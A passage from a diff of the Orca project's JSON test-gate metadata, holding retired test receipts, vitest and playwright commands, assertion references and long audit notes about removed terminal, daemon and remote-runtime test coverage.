config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/mobile/e2ee/e2ee-channel-v2.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts src/renderer/src/web/web-runtime-client.test.ts src/renderer/src/components/terminal/terminal-close-incarnation.test.ts\\\"\"},{\"pointer\":\"/gates/67/testFiles/4\",\"raw\":\"\\\"src/renderer/src/web/web-runtime-client.test.ts\\\"\"}]" + "Module-layout web/session cleanup: Removed paired-web client TEST alarms for connecting-search abort/pre-abort, rejecting pending connect waiters on close, retiring an expired-handshake socket and encrypted binary subscription interoperability. No replacement coverage or new execution is claimed; dated receipts describe their original runs. Prior active fields (historical only): [{\"pointer\":\"/gates/67/commands/0\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/mobile/e2ee/e2ee-channel-v2.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts src/renderer/src/web/web-runtime-client.test.ts src/renderer/src/components/terminal/terminal-close-incarnation.test.ts\\\"\"},{\"pointer\":\"/gates/67/testFiles/4\",\"raw\":\"\\\"src/renderer/src/web/web-runtime-client.test.ts\\\"\"}]", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-07-27\",\n \"runner\": \"ci\",\n \"platform\": \"linux\",\n \"command\": \"pnpm exec playwright test tests/e2e/daemon-generation-legacy-close-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 6.6,\n \"summary\": \"Current-head capability-gated oracle passed in E2E run https://github.com/stablyai/orca/actions/runs/30250731941/job/89928386794: capable v25/v26 roots and descendants survived with snapshot republish and post-close I/O, byte-identical legacy closes retained current-main shutdown behavior, and the unrelated fifth-worktree control survived.\",\n \"currentCommand\": \"pnpm exec playwright test tests/e2e/daemon-generation-legacy-close-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-07-21\",\n \"runner\": \"local\",\n \"platform\": \"windows\",\n \"command\": \"pnpm exec playwright test tests/e2e/daemon-generation-reconnect-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 137.1,\n \"summary\": \"The full command, including a fresh Electron E2E build, passed. Production desktop discovery found v21/v22/v23/v24 from v25; all five daemons and all ten exact PTY-root/descendant canaries survived six repeated lifecycle attempts per stale mirror with zero session-killed events. Bounded shutdown-dispose-failed dropped pipe authority while its refusing daemon/root/descendant remained alive until exact fixture cleanup; no fixture directory remained.\",\n \"currentCommand\": \"pnpm exec playwright test tests/e2e/daemon-generation-reconnect-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/mobile/e2ee/e2ee-channel-v2.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts src/renderer/src/components/terminal/tab-lifecycle/terminal-close-incarnation.test.ts\",\n \"pnpm exec playwright test tests/e2e/daemon-generation-reconnect-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"pnpm exec playwright test tests/e2e/daemon-generation-legacy-close-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"src/main/runtime/construction/orca-runtime.test.ts\",\n \"src/main/runtime/rpc/mobile/e2ee/e2ee-channel-v2.test.ts\",\n \"src/shared/remote-runtime/remote-runtime-client.test.ts\",\n \"src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts\",\n \"src/renderer/src/components/terminal/tab-lifecycle/terminal-close-incarnation.test.ts\",\n \"tests/e2e/daemon-generation-reconnect-safety.spec.ts\",\n \"tests/e2e/daemon-generation-legacy-close-safety.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/daemon-generation-legacy-close-safety.spec.ts\",\n \"assertions\": [\n \"one identified capable viewer and one legacy viewer issue byte-identical sequential reasonless closes while a third viewer lists every target before, between, and after but issues zero closes\",\n \"capable v25/v26 PTY root/descendant incarnations in separate worktrees survive, answer post-close input, and produce zero shutdown calls and zero daemon session-killed events\",\n \"legacy v25/v26 PTY root/descendant incarnations die through ordered immediate shutdown calls with one daemon session-killed event each, matching current-main behavior\",\n \"an unaddressed fifth-worktree PTY root and descendant survive with zero kill events, excluding global fanout\",\n \"the JSON reconstruction records request order, negotiated capabilities, viewer connection, worktree/tab/PTY ids, daemon PID/protocol, call site, and exact before/after process liveness\"\n ]\n },\n {\n \"file\": \"tests/e2e/daemon-generation-reconnect-safety.spec.ts\",\n \"assertions\": [\n \"the production scanner discovers v21/v22/v23/v24/v25 from v26 and every generation accepts repeated client hellos while every exact daemon, PTY-root, and descendant incarnation remains alive\",\n \"desktop and two remote profiles repeat lifecycle closes before and after client relaunch with zero session-killed events\",\n \"shutdown-dispose-failed drops named-pipe authority within the deadline and exact fixture cleanup leaves no process tree\"\n ]\n },\n {\n \"file\": \"src/shared/remote-runtime/remote-runtime-client.test.ts\",\n \"assertions\": [\n \"one-shot and subscription runtime clients remain compatible while sending encrypted client authentication\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/mobile/e2ee/e2ee-channel-v2.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts src/renderer/src/components/terminal/tab-lifecycle/terminal-close-incarnation.test.ts\"],\"testFiles\":[\"src/main/runtime/construction/orca-runtime.test.ts\",\"src/main/runtime/rpc/mobile/e2ee/e2ee-channel-v2.test.ts\",\"src/shared/remote-runtime/remote-runtime-client.test.ts\",\"src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts\",\"src/renderer/src/components/terminal/tab-lifecycle/terminal-close-incarnation.test.ts\"],\"assertionRefs\":[{\"file\":\"src/shared/remote-runtime/remote-runtime-client.test.ts\",\"assertions\":[\"one-shot and subscription runtime clients remain compatible while sending encrypted client authentication\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"linux\",\"macos\",\"windows\"],\"coveredProviders\":[\"daemon\",\"runtime\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Current main and PR #10013 route both reasonless viewer sequences to immediate shutdown, while the prior global-refusal candidate incorrectly preserves the legacy sequence. The capability-gated candidate passed the combined GitHub oracle: capable v25/v26 PTYs survive and answer input, legacy PTYs retain current-main shutdown behavior, and the unrelated control survives. Existing Windows red/green evidence separately covers evidence-bearing lifecycle closes.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Local deterministic Windows evidence includes the final two-scenario pass and a separate 25-burst stress pass; CI and 14-day soak history are absent.\"},\"runtimeBudget\":{\"p95Seconds\":180,\"scope\":\"isolated native-Windows generation reconnect plus two-generation mixed-version close adjudication and fresh E2E build\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Production adds one bounded client-capability parse during the authenticated connection handshake and one constant-time membership branch per close. It adds no polling, subprocess, provider listing, retry, timer, or process-per-session work. Refusal reuses the existing single-worktree snapshot republish. Test-only inventory and cleanup are bounded.\"}}" ], "demotionRule": "Keep experimental or quarantine if reconnect emits session-killed for a live canary, an exact root/descendant dies, an old server receives fallback destructive close, cleanup leaks a fixture process/pipe, or the gate flakes without a proven harness defect." }, @@ -6693,8 +5949,8 @@ "platforms": ["macos", "linux", "windows"], "providers": ["local", "daemon", "ssh", "wsl", "remote-runtime"], "coveredPlatforms": ["macos"], - "coveredProviders": ["local", "daemon", "ssh", "wsl", "remote-runtime"], - "coverageNotes": "Shared agent/chat layout cleanup retires the remaining mocked agent-session operation-ledger registration: concurrent-retry joining, changed-fingerprint conflicts and exact createTerminal call count. Its active command token and test-file entry are removed. Prior evidence remains historical; no equivalent replacement or fresh gate coverage is claimed. Prior account: Audit5922 intentionally retires Gemini interrupt versus Codex navigation classification and command-finished cleanup arbitration under supplied status/transport; the retained completion wrapper loses exactly two finite arbitration cases while its other registration factories remain. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5706 narrows claimed-owner assertions to the two retained asynchronous registry cases; retired claims and the original object are preserved in knownGaps. No fresh validation or replacement coverage. Historical prior account (preserved verbatim): Audit5605 retires complete low-value suites src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery.test.ts. Intentionally lose serialization of newer convergence after an in-flight adoption conflict alarms. Reduced commands have no fresh gate evidence or equivalent replacement claim. Historical prior account follows: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4352 deletes the whole mocked daemon router, session-owner resolver, degraded-provider, terminal-host CWD-readability and foreground-inspection suites plus the native-process-CWD fixture suite; recovery retains only public multi-pane proactive socket-death notification/remount. Intentionally lose retirement admission, stale-inventory/fenced-kill authority, attach-only re-resolution/absence, fast-exit routing, sleep CWD checkpoint/wake, diagnostic cancellation/shutdown and foreground census/session-change alarms. No equivalent replacement or fresh gate execution is claimed. Historical prior account (preserved verbatim): Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. The Codex restart suite and exact command/testFiles/assertionRef are removed; its mock account-change/remote-pane restart alarms are intentionally lost. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3368 retires the whole host-session-launch unit source, including host-authority/create/ensure/legacy/Kimi/refusal/draft/options/prompt/cancel/kill/shared-disconnect and passive-sleep output callback alarms, without equivalent replacement. Its unit command token and test-file entry retire. Five unrelated macOS receipts remain verbatim and keep only their original scope; no fresh changed-selector/runtime/provider/process/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires the whole create-handoff suite. Supplied disposition, late completion, close-callback and metadata-bookkeeping alarms are intentionally lost without equivalent replacement; the compound unit selector and test-file entry narrow accordingly. Five unrelated macOS receipts retain their original scope. No fresh runtime, process-deduplication, physical provider/network, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit2694 source-only review: Remove14 authored/14 expanded cases in the renderer completion wrapper family, including the complete bell/query-reply/stale-input factory, without replacement. Retain29 authored/34 expanded cases with unchanged callback bodies. Three removals are the existing pending2203 overlap and must be adopted/count-reconciled once; eleven are fresh removals. No current-source runtime or gate execution is supplied by this packet; dated evidence retains its original source scope and does not validate the reduced factory bytes. No equivalent replacement, physical provider, mixed-version, mobile, rendered UI, cross-platform, soak or measured-performance result is claimed. The existing command and testFiles selector retain tests/pty-connection-completion-and-notification.test.ts; no wrapper-specific assertionRef is removed. Historical selector results do not validate its changed reachable factories. Historical prior account (preserved verbatim): Audit2709 removes src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts: intentionally retire waiting out an older inventory and sharing a fresh post-operation request among concurrent callers. No equivalent replacement or fresh execution is claimed. Dated receipts remain historical evidence for their unchanged selectors only; they do not validate the reduced commands or full current gate. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Delete the complete pure orphan-topology suite and its file membership; preserve the other selectors from its combined command after archiving the original command string. Lost alarms are synthetic current-layout preservation, one-anchor grafting and ambiguous-anchor appending examples. Do not transfer their ownership/topology scope to sibling suites. Preserve all5 independent historical receipts exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked agent-session suite and its prospective selector and aliases. Retire all3 whole dated changed-selector receipts, preserving their original raw objects in historical gaps without transferring counts or durations. Preserve5 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial agent-operation service suite retains only concurrent retry joining with changed-fingerprint conflict. Retire its complete three-title assertion object: old-owner legacy fallback before side effects, nested SSH Pi transcript refusal and completed/ambiguous physical-commit replay fences are no longer backed. Other probe/launch option/ledger/failure/remote-inventory examples disappear as detailed below. No actual provider spawn, live SSH or physical commit proof is retained by this source. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1911: The complete provider PTY-inspection mock suite is removed: missing-provider rejection, stale-PTY renderer unverifiable mapping, preserved supplied renderer failures, and supplied transport-loss mapping alarms are intentionally lost. No actual terminal teardown, daemon error or remote transport was exercised. Only the deleted explicit source tokens, testFile and whole assertionRef are removed. Meaningful remaining source selectors/assertions and unaffected dated receipts retain their original scope. No equivalent replacement, fresh reduced-gate, native/platform/provider, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1495 intentionally deletes the orphan-owner suite: explicit owner/host predicate examples are retired; no equivalent replacement coverage or fresh result is claimed. Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/agent-completion-coordinator-pending-title-inspection.test.ts: Loses obsolete pending title process races, inspection failure suppression, explicit completion precedence and delayed remote inspection alarms. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audits1301 and1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic macOS tests cover controller claims, daemon and SSH/relay operation replay, mixed-version selection, runtime ownership, exact provisional handoff, durable terminal retirement, two independent viewer mirrors, guarded adoption of legacy live PTYs, and completion classification when either the outer remote transport or authoritative host/provider process inspection becomes unreachable. The adoption harness models v1.4.150 agent/setup/shell tabs, current-generation restart and reconnect, exact handle/incarnation/worktree/host checks, topology CAS, competing clients, split-pane/group restoration, WSL ownership, and SSH owner rejection. The secondary parity repro runs independent clients against one headless remote Orca runtime over encrypted pairing and a real daemon-backed PTY, with tokened fixture-process identity separated from unrelated Codex app-server startup probes. The automated primary topology runs an isolated headed macOS Orca desktop server plus a separate paired web client and proves viewer-local fresh/resume focus, exact legacy placement, writable PTYs, unrelated-terminal survival, and host/client cleanup. SSH coverage is provider/relay contract and fault-injection coverage only; it does not substitute for paired-server coverage. Live Windows, Linux, WSL, SSH, and physical paired-Linux hosts remain gaps. The isolated intent-owner ledger suite was removed. web-runtime-session.test.ts retains exact post-create handoff confirmation only; its previous fresh/resume presentation and publication-replay assertions are no longer current references. Those direct owner-partition, cap and RPC/focus alarms are lost; other agent-session evidence does not establish equivalence. Structured handoff and adopted-leaf focus references now point to their dedicated surviving fixtures. Mixed-version recovery retains actual old-host recovery followed by a new CLI tab; its unsupported/missing-evidence tables are removed. Orphan recovery retains in-flight adoption-conflict serialization only; previous topology/pruning and absence/adoption examples are removed. These removed projection, capability and adoption-shape alarms are lost; retained cases do not replace them. Audit1301: src/renderer/src/runtime/remote-runtime-session-tabs-inflight.test.ts reduced. Direct dedupe eviction/count and equal receipt-position sample loses authored alarm. No equivalent replacement coverage is claimed. Audit1308: src/renderer/src/runtime/web-session-tabs-sync-agent-handoff.test.ts removed. Exact provisional replacement and post-create exit confirmation handoff pipeline alarms disappear. No equivalent replacement coverage is claimed. Audit1313: src/main/runtime/terminal-orphan-topology.test.ts: Retain actual topology merge algorithms preserving disjoint subtrees and grafted/ambiguous shared anchors with independent expected trees. Remove duplicate leaf validator and empty/no-change passthrough examples. Lose basic validation and no-group/noop characterization; no renderer layout proof. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim. Audit1342: src/renderer/src/components/terminal-pane/pty-connection-completion-and-notification.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. The entire remote-agent-session-host-authority.integration.test.ts is deliberately retired. Its independent-client canonical owner and retry/concurrent no-second-physical-PTY alarms are lost without equivalent replacement. The retained terminal-retirement TEST still owns its exact split-leaf/stale-topology refusal and delayed older-incarnation exit alarms; its early-exit replacement, persistence-admission filtering and durable-flush-failure alarms are deliberately lost. No new multi-client/physical-PTY, native, remote, mobile, cross-platform or whole-gate result is claimed. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed. Settings-host12 TEST policy additionally retires tests/e2e/remote-terminal-tab-retirement.unit.test.ts: loses permanent host exit retirement in simultaneous viewers and stale snapshot/replay resurrection protection. The callback composed runtime publication and synthetic viewer reducers with exact flush/publication work counts. No replacement or equivalent coverage is claimed; prior receipts remain historical and apply only to their original selectors. Module-layout cleanup: Removed exact-leaf/viewer-choice focus-intent TEST alarms and the old-host recovery TEST alarm for preserving a newly created CLI tab across stream/list ordering. No replacement coverage or new execution is claimed; dated receipts describe their original runs.", + "coveredProviders": [], + "coverageNotes": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Shared agent/chat layout cleanup retires the remaining mocked agent-session operation-ledger registration: concurrent-retry joining, changed-fingerprint conflicts and exact createTerminal call count. Its active command token and test-file entry are removed. Prior evidence remains historical; no equivalent replacement or fresh gate coverage is claimed. Prior account: Audit5922 intentionally retires Gemini interrupt versus Codex navigation classification and command-finished cleanup arbitration under supplied status/transport; the retained completion wrapper loses exactly two finite arbitration cases while its other registration factories remain. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5706 narrows claimed-owner assertions to the two retained asynchronous registry cases; retired claims and the original object are preserved in knownGaps. No fresh validation or replacement coverage. Historical prior account (preserved verbatim): Audit5605 retires complete low-value suites src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery.test.ts. Intentionally lose serialization of newer convergence after an in-flight adoption conflict alarms. Reduced commands have no fresh gate evidence or equivalent replacement claim. Historical prior account follows: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4352 deletes the whole mocked daemon router, session-owner resolver, degraded-provider, terminal-host CWD-readability and foreground-inspection suites plus the native-process-CWD fixture suite; recovery retains only public multi-pane proactive socket-death notification/remount. Intentionally lose retirement admission, stale-inventory/fenced-kill authority, attach-only re-resolution/absence, fast-exit routing, sleep CWD checkpoint/wake, diagnostic cancellation/shutdown and foreground census/session-change alarms. No equivalent replacement or fresh gate execution is claimed. Historical prior account (preserved verbatim): Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. The Codex restart suite and exact command/testFiles/assertionRef are removed; its mock account-change/remote-pane restart alarms are intentionally lost. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3368 retires the whole host-session-launch unit source, including host-authority/create/ensure/legacy/Kimi/refusal/draft/options/prompt/cancel/kill/shared-disconnect and passive-sleep output callback alarms, without equivalent replacement. Its unit command token and test-file entry retire. Five unrelated macOS receipts remain verbatim and keep only their original scope; no fresh changed-selector/runtime/provider/process/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires the whole create-handoff suite. Supplied disposition, late completion, close-callback and metadata-bookkeeping alarms are intentionally lost without equivalent replacement; the compound unit selector and test-file entry narrow accordingly. Five unrelated macOS receipts retain their original scope. No fresh runtime, process-deduplication, physical provider/network, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit2694 source-only review: Remove14 authored/14 expanded cases in the renderer completion wrapper family, including the complete bell/query-reply/stale-input factory, without replacement. Retain29 authored/34 expanded cases with unchanged callback bodies. Three removals are the existing pending2203 overlap and must be adopted/count-reconciled once; eleven are fresh removals. No current-source runtime or gate execution is supplied by this packet; dated evidence retains its original source scope and does not validate the reduced factory bytes. No equivalent replacement, physical provider, mixed-version, mobile, rendered UI, cross-platform, soak or measured-performance result is claimed. The existing command and testFiles selector retain tests/pty-connection-completion-and-notification.test.ts; no wrapper-specific assertionRef is removed. Historical selector results do not validate its changed reachable factories. Historical prior account (preserved verbatim): Audit2709 removes 